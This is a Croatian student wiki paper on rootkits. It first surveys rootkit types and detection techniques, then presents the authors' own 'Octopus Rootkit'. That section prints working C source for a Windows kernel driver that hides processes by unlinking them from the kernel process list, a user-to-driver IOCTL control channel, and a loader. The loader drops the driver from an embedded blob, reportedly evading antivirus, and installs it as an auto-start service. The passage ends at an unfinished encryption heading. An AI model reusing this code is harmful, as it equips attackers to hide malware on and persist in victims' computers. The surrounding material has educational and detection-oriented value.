Razvoj naprednih tehnika za izradu malwarea/rootkita
Sadržaj |
Rootkit – općenito
Maliciozni programi dio su informatičke svakodnevice dvadesetprvog stoljeća. Kako bismo bili u mogućnosti poduzeti odgovarajuće mjere zaštite, postalo je nužno poznavati njihove oblike, karakteristike i načine širenja. Pojam malicioznih programa (eng. malware) obuhvaća sve vrste računalnog softwarea kreiranog u svrhu izvršavanja nepoželjnih aktivnosti na korisnikovom računalu bez njegovog znanja. Kao osnovne kategorije malicioznih programa moguće je navesti viruse, crve, trojanske konje, adware, spyware, rootkit, ransomware i scareware. U ovom radu detaljnije će biti objašnjene vrste, načini rada i karakteristike rootkita.
Rootkite možemo definirati kao maliciozne programe čija je namjena neovlašteni pristup i ostvarivanje i zadržavanje određene razine kontrole zaraženog računala, uz istovremeno prikrivanje vlastitih i stranih datoteka, procesa i zapisa u registrima koji se koriste pri preuzimanju kontrole i izvršavanju zlonamjernih aktivnosti na računalu. Naziv rootkit nastao je kao složenica engleskog naziva za UNIX korisnika s najvišom razinom ovlasti (root), te engleske riječi za alat (kit).
Rootkit u užem smislu predstavlja alat za sakrivanje napadačevih aktivnosti te ostvarivanje kontrole nad zaraženim računalom, dok u kombinaciji sa ostalim oblicima malicioznih programa do izražaja dolazi njegova štetna komponenta. Sukladno tome, rootkit u praksi predstavlja samo jednu od komponenata malicioznog software-a. Na slici 1 prikazana je raspodjela računala na kojima je u 2011. godini detektirana zaraza nekim oblikom rootkita, a koristila su neku od tri verzije operativnog sustava MS Windows sa instaliranim Avast antivirusnim programom, u ovisnosti o tržišnom udjelu (raspodjela se također odnosi na Windowse).
Kategorije rootkita
S obzirom na domenu izvršavanja razlikujemo korisničke (sakrivaju se od korisnika modificiranjem funkcija za pretraživanje datotečnog sustava, te prilikom pretraživanja izostavljaju sve podatke vezane za rootkit) i jezgrene (odlikuje ih presijecanje komunikacije s kernelom, te modificiranje podatkovne strukture jezgre, što omogućuje skrivanje zlonamjernih procesa iz ukupne liste procesa koji se izvršavaju na računalu) rootkite. Sa aspekta ovisnosti prisutstva rootkita na zaraženom računalu o sesiji operativnog sustava razlikujemo postojane („trajne“) rootkite (aktiviraju se prilikom svakog pokretanja operativnog sustava, uglavnom se nalaze u registryju ili u datotečnom sustavu) i rootkite koji se pohranjuju u radnoj memoriji (nepostojani - brišu se prilikom gašenja OS-a).
Kernel Mode (jezgreni) rootkiti
Ova vrsta rootkita izuzetno je opasna, budući da napadaču daje kontrolu na svim razinama sustava. Korištenjem funkcija jezgre omogućava nadzor i modificiranje komunikacije između jezgre, hardwarea i korisničkih aplikacija. Rootkit je moguće instalirati preko ulaznih modula jezgre, koji tokom svakodnevnog rada služe za instalaciju aplikacija i drivera stranih (neovisnih o operativnom sustavu) uređaja. Na taj način napadač dobiva širi skup ovlasti, te je u mogućnosti kontrolirati pristup, portove, operacije nad datotekama i direktorijima i slično. Skupovi ovlasti podijeljeni su u četiri grupe (prstena) i to tako da prva grupa (Ring 0) s najvišim ovlastima omogućuje pristup jezgri, dok četvrta grupa (Ring 3) sadrži ograničen skup ovlasti koje se tiču isključivo korisnikovog rada na računalu. U grupama Ring 1 i Ring 2 nalaze se upravljački programi (za grafičku karticu i sl.), no u praksi su ovlasti dodijeljene samo krajnjim grupama (jezgra i korisnički mod), što napadaču olakšava pristup i vršenje željenih aktivnosti. Rootkiti se, međutim, ne moraju koristiti u zlonamjerne svrhe. Primjerice, programi kao što su Deamon Tools, Power ISO, Alcohol 120% i sl. koriste rootkite kako bi kreirali virtualne pogone.
User Mode (korisnički) rootkiti
Korisnički rootkiti egzistiraju na četvrtoj razini zaštite (Ring 3), te koriste API (eng. Application Programming Interface – programsko sučelje aplikacija) za komuniciranje sa resursima operativnog sustava, odnosno presretanje i modificiranje zahtjeva i odgovora legitimnih aplikacija pomoću dll datoteka. DLL (eng. Dynamic Link Library) datoteke predstavljaju svojevrsne posrednike između korisničkih aplikacija i jezgre operativnog sustava. S obzirom da ne komuniciraju direktno sa jezgrom, mogućnosti korisničkih rootkita su ograničene, ali ne i zanemarive. Ova vrsta rootkita se detektira i uklanja jednostavnije od jezgrenih rootkita, no i sama izrada je jednostavnija, stoga se i danas relativno često susreću u praksi.
Slika 2 prikazuje učinak filtriranja malicioznih datoteka na računalu zaraženom korisničkim rootkitom. Koraci filtriranja malicioznih podataka su sljedeći:
- Rootkit je postavljen na poziciju koja omogućava presretanje zahtjeva poslanih od strane legitimnih programa bez znanja operativnog sustava.
- Tada rootkit šalje zahtjev OS-u predstavljajući se kao legitimni program.
- Operativni sustav u odgovoru šalje podatke, koje rootkit pregledava.
- Rootkit uklanja znakove svoje egzistencije, te filtrirani rezultat prosljeđuje legitimnom programu, koji dobivene podatke koristi ne znajući da su
u međuvremenu promjenjeni.
U primjeru je prikazano filtriranje prilikom korištenja datotečnog preglednika, no na istom principu moguće je sakriti i trenutno aktivne procese, zapise u registrima itd.
Tehnike kreiranja rootkita
Imajući na umu da je prikrivenost jedna od ključnih osobina rootkita, prilikom njihove izrade nužno je obratiti posebnu pozornost na skrivanje malicioznog sadržaja. U tu svrhu koriste se brojne tehnike, a najpopularnije su preusmjeravanje (hooking), izmjena sadržaja (patching) i manipuliranje podatkovnom strukturom.
Maskiranje datoteka
Jedna od starijih metoda funkcioniranja rootkita temelji se na zamjeni legitimnih sistemskih datoteka njihovim zaraženim verzijama, koje su pritom imale isti naziv, te koristile iste funkcije. Nedostatak ove tehnike je relativno lako otkrivanje pomoću cikličke provjere redundantnosti (CRC), budući da se prilikom usporedbe originalne i zaražene datoteke ne podudaraju CRC vrijednosti.
Hooking (preusmjeravanje)
Ova tehnika funkcionira na način da se pozivi sistemskih funkcija preusmjeravaju na maliciozni kod, odnosno mjenjaju se veze među objektima. Primjerice, moguće je zaobići originalno zatraženu funkciju, umjesto koje će se izvršiti modificirana verzija originalne funkcije, iz koje je izostavljen maliciozni sadržaj, koji će stoga ostati skriven, te ga korisnik neće detektirati. Slika 3 prikazuje koncept preusmjeravanja komunikacije. Umjesto direktne razmjene podataka, izvorna funkcija preusmjerava se na rootkit te se prosljeđuje ciljnoj funkciji, koja nakon izvršavanja zahtjevanih operacija rezultat vraća preko rootkita, čime je omogućeno njegovo modificiranje. Ovu tehniku kreiranja rootkita nije moguće detektirati CRC provjerom, budući da se modifikacije ne izvršavaju nad originalnim podacima. Za detekciju rootkita ovog tipa koriste se programi koji skeniraju promjene u memoriji.
DKOM
Akronim DKOM[9] označava izravnu manipulaciju objektima jezgre (eng. Direct Kernel Object Manipulation). To se prvenstveno odnosi na liste procesa, dretvi i portova koje se nalaze u memoriji jezgre, a koriste ih aplikacije prilikom prepoznavanja trenutno aktivnih procesa. Ova tehnika omogućava sakrivanje procesa i portova, izmjene ovlasti i sl. Prvi rootkit razvijen ovom tehnikom bio je FU, a djelovao je na način da modificira dvostruko vezanu listu tekućih procesa, kao što je prikazano na slici 4. Modificiranjem pokazivača na sljedeći (FLINK), odnosno prethodni (BLINK) proces sakriven je maliciozni proces, te se on ne prikazuje na listi trenutno aktivnih procesa. Usprkos tome, maliciozni kod se izvršava u pozadini, jer su promjene vršene u listi procesa, dok se lista dretvi nalazi u originalnom, netaknutom stanju. Pritom nije moguće pristupiti malicioznom procesu putem liste aktivnih procesa. Budući da se manipulacije odvijaju nad objektima u memoriji, DKOM se ne koristi za sakrivanje datoteka.
Patching
Ova tehnika oslanja se na modificiranje izvornog koda funkcije i promjene putanje izvršavanja, odnosno preusmjeravanja na maliciozni kod. Primjerice, to je moguće postići modificiranjem uvjetnih skokova u bezuvjetne skokove, čime se može stvoriti privid normalnog rada programa, dok se u stvari izvršava maliciozni kod. Moguće je mjenjati putanje funkcija na disku ili koda koji se izvršava u memoriji, no ova tehnika je poprilično ranjiva na detekciju pomoću CRC-a i aplikacija za praćenje modifikacija jezgre.[10]
Virtualni stroj
Rootkiti napisani ovom tehnikom za cilj imaju pretvaranje računala koje žele zaraziti u virtualni stroj. Na taj način napadači ostvaruju potpunu kontrolu zaraženog računala, budući da se u tom slučaju rootkit nalazi na nižoj (nadređenoj) razini. Shodno tome, zaraženo računalo nije svjesno prisutstva rootkita.
Tehnike otkrivanja rootkita
Usporedno sa razvijanjem tehnika izrade rootkita, javila se potreba za razvojem programa koji će uspješno detektirati infiltraciju rootkita na računalo. Većina razvijenih antirootkit programa koristi nekoliko tehnika otkrivanja, kako bi se povećale šanse za uspješnu detekciju. U nastavku će biti ukratko opisane najčešće tehnike otkrivanja rootkita.
Otkrivanje na temelju poznatog koda
Ova metoda spada među najkorištenije tehnike detekcije prisutnosti rootkita u sustavu, a temelji se na pretpostavci da je traženi maliciozni kod otprije poznat. Ukoliko je pretpostavka zadovoljena, tada se navedeni kod analizira, te se identificira njemu svojstveni potpis, odnosno dio koda za koji je sa sigurnošću moguće utvrditi da služi izvršavanju nepoželjnih aktivnosti. Navedeni potpis tada se integrira u bazu podataka koju antirootkit program koristi prilikom skeniranja sustava.[11] Ukoliko tokom skeniranja sustava program naiđe na dio koda koji odgovara potpisu malicioznog programa, vrlo je vjerojatno da je pronađeni kod nepoželjan, tj. da je računalo zaraženo rootkitom ili nekim drugim oblikom malicioznog softwarea. Iako se programi ovog tipa, ili programi koji uključuju slične algoritme i danas koriste, njihov je značajan nedostatak nemogućnost detekcije novih oblika rootkita, budući da u bazi podataka ne postoji uzorak njihovog koda, tj. njihov potpis.
Nadzor integriteta datoteka
Nadzor integriteta funkcionira na principu izračunavanja hash vrijednosti datoteka bitnih za rad operativnog sustava, te uspoređivanja tih vrijednosti sa poznatim hash vrijednostima (kontrolna suma) istih datoteka koje su spremljene u bazu podataka. Baza hash vrijednosti generira se prilikom „čiste“ instalacije operativnog sustava, kako bi se osigurao čvrst temelj za uspoređivanje novih vrijednosti. Ukoliko se hash vrijednosti datoteke ne podudaraju, to je pouzdan znak da je njen sadržaj izmjenjen, što ukazuje na aktivnost malicioznih programa. Ova tehnika pokazala se djelotvornom u borbi protiv patching rootkita, no njena je očita mana neosjetljivost na hooking (preusmjeravane) i DKOM rootkite. Detekcija preusmjeravanja Rootkiti temeljeni na preusmjeravanju učestalo koriste postojeće sistemske tablice, koje sadrže pokazivače na različite pokazivače na funkcije i prekidne rutine, koji se nalaze unutar definiranih memorijskih lokacija. Ukoliko rootkit promjeni originalni pokazivač, te ga usmjeri na maliciozni kod, velika je vjerojatnost da će isti pokazivati na memorijske lokacije koje ne pripadaju domeni definiranih, „sigurnih“ lokacija, što je pouzdan pokazatelj prisutnosti neželjenih programa u sustavu. Mana ove tehnike detekcije je ranjivost na rootkite koji se izvršavaju u jezgri (Ring 0), budući da oni imaju ovlasti potrebne za promjenu rezultata skeniranja antirootkit programa (rade na istoj razini), te je stoga moguće da maliciozni program izbjegne detekciju.
Unakrsna analiza
Ova tehnika detekcije temelji se redundanci, odnosno uspoređivanju pripadajućih vrijednosti na aplikacijskom i fizičkom sloju. Pretpostavka je da se rootkit ne može sakriti prilikom skeniranja hardware-a, te se stoga uspoređuju dokumenti i vrijednosti registara, čiji izostanak na aplikacijskom sloju ukazuje na pokušaj prikrivanja malicioznog koda. Tehnika unakrsne analize uspješno se primjenjuje pri detekciji DKOM i patching rootkita. Mrežna detekcijaTehnika mrežne detekcije bazira se na praćenju mrežnog prometa i aktivnih portova. Trenutna slika stanja šalje se pouzdanom gateway-u, koji uspoređuje zaprimljenu sliku sa trenutnim stanjem koje je njemu vidljivo. Ukoliko postoje otvoreni portovi koji se ne pojavljuju na zaprimljenoj slici stanja, velika je vjerojatnost da je sustav zaražen rootkitom. Mrežnom detekcijom moguće je otkriti nove rootkite, te na taj način upotpuniti bazu potpisa antirootkit programa koji detekciju vrše na osnovu poznatog malicioznog koda.
Heuristička detekcija
Ova tehnika detekcije rootkita temelji se na klasifikaciji neželjenog ponašanja sustava sukladno predefiniranim pravilima. Primjerice, pretpostavlja se da normalan intenzitet odlaznih email poruka ne može prelaziti određenu granicu, stoga je u slučaju iznimno povećanog intenziteta vrlo vjerojatno da se radi to aktivnostima malicioznih programa. Modificiranje jezgre računala također upućuje na isti zaključak. Ova metoda detekcije, kao i metoda praćenja mrežnog prometa, također omogućuje otkrivanje novih rootkita, no bitno je napomenuti kako su pri korištenju ove tehnike učestali slučajevi lažnih detekcija neželjenih aktivnosti.
--Ozren Tepuric 22:11, 6. siječnja 2012. (CET)
Protection rings
Protection rings služe operacijskome sustavu da ograniči interakciju korisničkih programa s jezgrom (kernel-om) računala. Kao što možemo vidjeti na slici 1 postoje četiri razine zaštite unutar procesora.
Moderni operacijski sustavi razlikuju samo dva načina rada, a to su User(Ring 3) i System(Ring 0) način rada.
User mode se nalazi unutar Ring 3 prstena i on nadgleda da se korisnički kod izvodi unutar tih okvira, sprječava izvršavanje instrukcija iz korisničkog u sistemskom načinu. Ali kada aplikacija iz korisničkog načina treba pristupiti sustavskom načinu rada postoje predefinirana vrata[12] koja dopuštaju razmjenu podataka između aplikacije i jezgre.
Scenarij u kojem korisnička aplikacija treba pristupiti jezgri i njenim funkcijama je kada se aplikacija direktno veže uz driver koji se nalazi u jezgri računala. Kao što je software za skeniranje i skener, software za snimanje i webcamera i postoje mnogi drugi primjeri.
Prilikom te interakcije izvode se sistemski pozivi koji omogućavaju pristup jezgri od strane korisničke aplikacije. Svi sistemski pozivi su izvedeni tako da sprječavaju neovlaštene pozive unutar jezgre. Postoje predefinirani sistemski pozivi koji paze da korisnik ne bi izvodi maliciozni kod.
RB | Ovlasti |
---|---|
Ring 0 | Jezgra računala (kernel), dopušten pristup svim instrukcijama. |
Ring 1 | Aplikaciji se dopušta prošireni spektar instrukcija, proširenje prstena Ring 2. |
Ring 2 | Aplikaciji se dopušta prošireni spektar instrukcija ali u manjoj mjeri nego Ring 1. |
Ring 3 | Korisničke aplikacije, nedopušten pristup instrukcijama jezgre. |
Iz opisa primjera poziva sistemskih funkcija unutar jezgre možemo vidjeti da se driveri izvode unutar jezgre i da imaju najveće ovlasti unutar sustava.
Stoga unutar ove metode izrade rootkita, programski kod rootkita će se nalaziti unutar jezgre kao driver i izvoditi će se u jezgri. Rootkit će predstavljati driver za nepostojeći uređaj u računalu. I samim time kada se rootkit postavi na računalo on će se pokretati unutar jezgre i neće imati problema s izvršavanjem funkcija jer će imati sve dostupne ovlasti i pristup svim funkcijama jezgre bez upletanja sustava.
--Frane Jakelić 11:15, 4. siječnja 2012. (CET)
Octopus Rootkit
Rootkit koji je nastao kao produkt ovog rada se sastoji od dva djela korisničkog i sistemskog djela i loadera rootkita na računalo, sistemski dio može raditi neovisno o korisničkom, koji je njegova nadopuna.
Repozitorij se nalazi na bitbucket-u.
Sistemski dio predstavlja windows driver koji napadaču omogućava:
- Skrivanje procesa
- Pokretanje aplikacija iz jezgre računala
- Automatsko pokretanje malicioznog sadržaja prilikom startanja windowsa.
Korisnički dio:
- Ostvaruju dvosmjernu komunikaciju između korisničke aplikacije i drivera
- Definiranje programa koji se trebaju pokrenuti ili sakriti
Loader:
- Stvaranje drivera iz BLOB-a koji je spremljen u aplikaciji
- Instaliranje drivera na računalo
- Definiranje postavki drivera
Svaki od djelova rootkit-a će biti detaljnije pojašnjen u daljnjem tekstu.
Sistemski dio rootkita (Driver)
Sistemski dio rootkita je izrađen kao driver na windows operacijskom sustavu, ova metoda je izabrana kako bi napadač imao najviše privilegije prilikom pokretanja rootkita i drugih malicioznih aplikacija koje planira dodati na zaraženo računalo. Prvidio na rasporedu opisa sistemskog djela dolazi skrivanje aktivnih procesa uz pomoć DKOM metode.
DKOM (Direct kernel object manipulation)
DKOM[13] se koristi za pristupanje jezgrinoj memeoriji i promjenom objekata koji se nalaze unutar jezgre. Objekti koji se nalaze unutar jezgrine memorije paze na aktivne procese, dretve, trenutno otvorene portove i na mnoge druge informacije o trenutnom sustavu. Svi ti objekti su podložni promjeni od strane napadača, i napadač je u mogućnosti sakriti većinu svojih radnji. Skrivanje samih radnji se izvodi na način da se ti interni zapisi u memoriji jezgre editiraju da ne prikazuju maliciozni sadržaj.
DKOM metoda je vrijedan alat za izradu rootkitova ali nije savršena, metoda je dosta fragilna i ovisi o velikom broju faktora prilikom izvođenja koda unutar jezgre. Kako se prilikom izdavanja novih verzija Windows operacijskih sustava često mijenjaju pozicije i adrese internih funkcija koje su neophodne za DKOM metodu time se stvara i potreba za izradom novijih verzija rootkita koji će moći nadiči te probleme.
Skrivanje procesa
Prilikom navođenja DKOM metode spomenuto je da postoji objekt u jezgrinoj memoriji koji pazi na trenutne procese. Taj objekt je dvostruko vezana lista koja prati sve aktivne procese i omogućava aplikacijama na korisničkoj razini da saznaju koji su trenutno aktivni procesi na računalu. Ova lista procesa nam je posebno zanimljiva jer promjenama nad njom možemo sakriti naš maliciozni proces koji se izvodi u pozadini operacijskog sustava.
Skrivanje procesa se izvodi na način da se unutar dvostruko vezane liste pronađe proces koji odgovara predefiniranom stringu, i prilikom pronalaska tog procesa taj proces se „izdvoji“ iz te liste.
U daljnjem tekstu je prikazana implementacija DKOM metode skrivanja procesa u C programskom jeziku. Kao što možemo vidjeti iz programskog djela koda, da se prvo pretražuje proces i prilikom njegovog pronalaska preusmjeravaju se veze prijašnjeg i sljedećeg elementa u listi da zaobiđu naš maliciozni proces.
_Eprocess[14] Struktura za Windows XP: +0x000 Pcb : _KPROCESS +0x084 UniqueProcessId : Ptr32 Void +0x088 ActiveProcessLinks : _LIST_ENTRY +0x090 QuotaUsage : [3] Uint4B ... +0x174 ImageFileName : [16] UChar ...
void skrivanjeProcesa(char *naziv, int duljina,int OS){ PEPROCESS procesZaSkrivanje; PLIST_ENTRY elementZaSkrivanje; /* Prvo se izvodi OS probing kako bi driver znao koji pomak mora koristiti prilikom kretanja po listi koja sadrži popis aktivnih procesa */ switch(OS){ case 5:{ //Windows XP pomak=0x088; glava=0x174; break; } case 6:{ //Windows Vista pomak=0x0A0; glava=0x14c; break; } case 7:{ // Windows 7 pomak=0x0B8; glava=0x16c; break; } } if (!(procesZaSkrivanje = (PEPROCESS) pretraziPoImenu(naziv, duljina) ) ) return 0; elementZaSkrivanje = (PLIST_ENTRY)((PUCHAR) procesZaSkrivanje + pomak); /* Izvršava se preusmjeravanje liste da zaobiđe naš željeni proces i nakon toga se naš proces preusmjerava na samog sebe kako ne bi došlo do problema u izvođenju proces i samog rušenja sustava. */ *((PDWORD) elementZaSkrivanje->Blink) = (DWORD) elementZaSkrivanje->Flink; *((PDWORD) (elementZaSkrivanje->Flink)+1) = (DWORD) elementZaSkrivanje->Blink; elementZaSkrivanje->Blink = (PLIST_ENTRY)&elementZaSkrivanje->Flink; elementZaSkrivanje->Flink = (PLIST_ENTRY)&elementZaSkrivanje->Flink; } ULONG pretraziPoImenu(char *naziv, int duljina){ PEPROCESS PocetniProces, TrenutniProces; PLIST_ENTRY elementListe; PocetniProces = IoGetCurrentProcess();//Kazaljka se pozicionira na trenutni process TrenutniProces = PocetniProces; do{ /* Provjerava se da li trenutni proces koji se pregledava odgovara našem procesu koji želimo skriti. Na adresi 0x174(win xp) se nalazi element ImageFileName koji sadrži char array koji u sebi sadrži ime procesa u listi. */ if (!strncmp(naziv, ((PUCHAR) TrenutniProces + glava), duljina))return TrenutniProces; //pomak pomiče kazaljku do pokazivača na sljedeći element liste elementListe = (PLIST_ENTRY)((PUCHAR)TrenutniProces + pomak); TrenutniProces = (PEPROCESS)elementListe->Flink; //negativni pomak nas vraća na deskriptor procesa. TrenutniProces = (PEPROCESS)((PUCHAR)TrenutniProces - pomak); } while (PocetniProces != TrenutniProces); return 0; }
Pokretanje aplikacije iz jezgre računala
Još jedna od neizostavnih funkcija kernel-based rootkita je pokretanje aplikacija u korisničkom načinu rada.
Na prvu ruku bi se činilo da pokretanje korisničke aplikacije iz jezgre ne bi trebalo raditi velike probleme, ali taj smjer je možda i mnogo složeniji od suprotnog smjera.
Sami ti problemi nastaju iz razloga jer iz korisničkog u sustavski način rada postoje poviše spomenuti gateway-i koji omogćavaju komunikaciju i oni su podložni eksploatiranju.
Prilikom isktraživanja ove metode pronađeno je mnogo materijala koji govore da kernel execute (na Windowsima) je veoma zahtjevan pothvat.
Metoda radi na sljedećem principu:
- Pronalazi se željeni proces u _EPROCESS strukturi (u našem slučaju explorer.exe koji nam omogućava kreiranje dretve koja će se izvršiti u korisničkom načinu rada)
- Nakon što je pronađena dretva koja nam omogućava pokretanje aplikacije u korisničkom načinu rada pokreće se assembler kod
- Assembler kod pronalazi kernell32.dll koji dinamički izvodi u radnoj memoriji
- U krenel32.dll-u se nalaze funkcije zwCreateProcess[15] koja nam omogućava pokretanje procesa u korisničkom načinu rada
- Nakon što su pronađen je željene funkcije alocira se potreban prostoru u memeoriji za APC (Asynchronous Procedure Calls)
- APC koristimo kako bi mogli prosljediti taj poziv i uspjeli izvršiti samu funkciju unutar korisničkog načina
Automatsko pokretanje malicioznog sadržaja prilikom startanja Windowsa
Kako se driver instalira na računalo kao service onda se njemu može definirati da se automatski pokreče prilikom startanja Windowsa. Samim time se omogućava da korisnik unutar koda definira korisnički program koji će se pokretati uz pomoć metode kernel execute koja je opisana u prošlom paragrafu.
Ova metoda donosi poboljšanja u metodama izrade rootkita jer maliciozni kod koji se izvodi u pozadni može biti skriven tijekom izvođenja ali također on će biti skriven među autostart programima Windowsa. Samo pojavljivanje nepoznatog korisničkog programa u windows autostartu mnogim korisnicima je odavalo znakove maliciozne radnje.
--Frane Jakelić 11:15, 4. siječnja 2012. (CET)
Korisnički dio
Korisnički dio rootkita se odnosi na ostvarivanje komunikacije između korisničkog i sistemskog načina rada. Koristi se kako bi se mogle zadavati naredbe rootkitu iz korisničkog načina, u ovom primjeru ćemo se bazirati na komunikacijski kanala koji omogućava korisniku da pokrene ili sakrije određeni proces.
Kasnije moguće nadogradnje na korisnički dio aplikacije je dodavanje backdoora koji bi ostvariva socket komunikaciju između dvaju računala preko interneta i time omogućio remote upravljanje rootkitom dok je upravljanje trenutno samo lokalno.
Ostvarivanje dvosmjerne komunikacije između korisničke aplikacije i drivera
Dvosmjerna komunikacija se izvodi pomoću Device Input and Output Control (IOCTL) funkcija koje su omogućene u Windows driverima.
Na sljedećem programskom kodu će ta komunikacija biti detaljnije pojašnjena.
Korisnički dio komunikacije:
/* Definiraju se nazivi kanala preko kojih će se slati poruke, naziv kanala je bitan kako bi driver mogao razlučiti kako treba upotrijebiti dobivene podatke. */ #define IOCTL_PROCESSHIDE\ CTL_CODE( SIOCTL_TYPE, 0x801, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA) #define IOCTL_OSPROBE\ CTL_CODE( SIOCTL_TYPE, 0x800, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA) int osProbe(); int osProbe(){ /* Prvo se izvršava os probe na korisničkoj strani kako bi se driveru mogli poslati podaci na kojem operacijskom se nalazi rootkit kako bi rootkit znao koje memorijske pomake mora koristiti. Znaći samo se podatak o OS šalje preko komunikacijskog kanala rootkitu. */ OSVERSIONINFOEX osvi; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if (GetVersionEx((OSVERSIONINFO *) &osvi)){ if( osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0 ){ if( osvi.wProductType == VER_NT_WORKSTATION )return 6; else printf("Windows server 2008"); }else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1){ if( osvi.wProductType == VER_NT_WORKSTATION )return 7; else printf("Windows Server 2008 R2 " ); }else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1){ return 5;} } return 0; } int __cdecl main(int argc, char* argv[]) { HANDLE hDevice; DWORD NombreByte; char out[50]; char OS[1]; ZeroMemory(out,sizeof(out)); /* Otvara se hardware-ski drive kako bi se mogla ostavariti komunikacija. Jer prilikom izrade drivera bilo bi besmisleno da dravire može slati i primati podate ako nema fizičku IO jedinicu stoga mi kreiramo imaginarni drive koji će nam koristiti kako odskočna daska za izvršavanje komunikacije između korisničkog programa i drivera */ hDevice = CreateFile("\\\\.\\rootkit", GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); itoa(osProbe(),OS,10); if (argc > 1){ /* Definira se IO kontrola između drivera i korisnićke aplikacije, označavamo po kojem kanalu šaljemo podatke i input i output buffer koji se koriste kako bi se razmjenili podaci. */ DeviceIoControl(hDevice,IOCTL_OSPROBE, OS, strlen(OS), out, sizeof(out), &NombreByte, NULL); DeviceIoControl(hDevice, IOCTL_PROCESSHIDE, argv[1], strlen(argv[1]), out, sizeof(out), &NombreByte, NULL); }else{ printf("Proces za skrivanje nije definiran!"); } CloseHandle(hDevice); return 0; }
Sustavski dio komunikacije:
NTSTATUS IoControlFunction(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){ PIO_STACK_LOCATION IrpSl; ULONG CtlCode; PVOID pBuf = Irp->AssociatedIrp.SystemBuffer;//dohvaćaju se podaci s input buffer IrpSl = IoGetCurrentIrpStackLocation(Irp); CtlCode = IrpSl->Parameters.DeviceIoControl.IoControlCode;//dohvaća se ime kanala /* Na temlju imena kanala izvršavaju se funkcije također je moguće i odgovoriti iz drivera ali za trenutnu implementaciju to nije potrebno. */ if(CtlCode == IOCTL_PROCESSHIDE){ DbgPrint("DEBUG: Skriva se proces: %s",pBuf); skrivanjeProcesa(pBuf, IrpSl->Parameters.DeviceIoControl.InputBufferLength,OS); RtlZeroMemory(pBuf,IrpSl->Parameters.DeviceIoControl.InputBufferLength); } if(CtlCode == IOCTL_OSPROBE){ OS=atoi(pBuf); }
Definiranje programa koji se trebaju pokrenuti ili skriti
Iz prijašnjeg koda relevantan nam je samo maleni snippet koda koji nam omogićava definiranje programa koji treba skriti/pokrenuti.
DeviceIoControl(hDevice, IOCTL_PROCESSHIDE, argv[1], strlen(argv[1]), out, sizeof(out), &NombreByte, NULL);
Ovaj dio kod prihvača argument preko komandne linije i prosljeđuje ga driveru. Driver zna koji postupak treba izvršiti po kanalu preko kojeg je naziv aplikacije poslan u našem primjeru IOCTL_PROCESSHIDE. IOCTL_PROCESSHIDE je kanal za skrivanje procesa, naziv je korisnički definiran.
--Frane Jakelić 11:15, 4. siječnja 2012. (CET)
Loader
Funkcija loadera je da postavi rootkit na računalo te da definira početne postavke, koji programi će biti skriveni a koje aplikacije će se pokretati. I također loader se brine da postavi driver na automatsko pokretanje prilikom pokretana Windowsa ili da bude triggeran nekim određenim događajem.
Stvaranje drivera iz BLOB-a koji je spremljen u aplikaciji
U prvoj verziji rootkit je bio deployan pomoću nekih postojećih rješenja, ali kako je većina tih rješenja prepoznata od strane antivirusnih kompanije izrađeno je privremeno rješenje. To rješenje je da se binarni zapis drivera koji se treba insalirati na računalo zapakira unutar hex koda i da se prilikom izvršenja loadera binarno zapiše u datoteku i pokrene. Prilikom testiranja ove metode na stranicama kao virustotal nije bilo nikakvih upozorena na maliciozni sadržaj.
Kreiranje driver sys datoteke na "žrtvinom" računalu
void createSys() { FILE *myfile = fopen("rootkit.sys", "wb"); unsigned char rootkit_sys[] = { /* 0 */ 0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00, /* MZ...... */ /* 8 */ 0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00, /* ........ */ /* 16 */ 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */ /* 24 */ 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* @....... */ /* 32 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */ /* 40 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */ /* 48 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */ . . . /* 3432 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */ /* 3440 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */ /* 3448 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 /* ........ */ }; int rootkit_sys_len = 3456; fwrite(rootkit_sys, rootkit_sys_len, 1,myfile);
Podešavanje i instaliranje drivera na računalo
Ovaj programski kod prikazuje definiranje početnih postavki drivera i otvaranje manager koji omogućava registriranje drivera na računalu.
char aPath[1024]; char aCurrentDirectory[515]; SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); GetCurrentDirectory(512, aCurrentDirectory); _snprintf(aPath,1022,"%s\\%s.sys",aCurrentDirectory,theDriverName); SC_HANDLE rh = CreateService(sh, theDriverName, theDriverName, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, /* SERVICE_AUTO_START možda najbitnija zastavica koja našem rootkitu omogućava automatsko startanje prilikom startanja windowsa. */ SERVICE_ERROR_NORMAL, aPath, NULL, NULL, NULL, NULL, NULL); rh = OpenService(sh,theDriverName,SERVICE_ALL_ACCESS);
--Frane Jakelić 11:15, 4. siječnja 2012. (CET)
Napredne metode evolucije malwarea
Popularizacijom profesionalnih antivirusnih aplikacija, autori malwarea shvatili su da se ne isplati raditi viruse sa statičnim kodom jer im se vrlo lako izuzme potpis (dio koda karakterističan za neki virus), pa ih je stoga relativno lako zaustaviti čim se prvi put virus otkrije "u divljini". Neki autori malwarea su pokušali zaobići ovaj problem napadanjem samih antivirusnih programa, no naprednije rješenje je bilo promijeniti sam kod na način da uvijek bude neprepoznatljiv.
Enkriptiranje
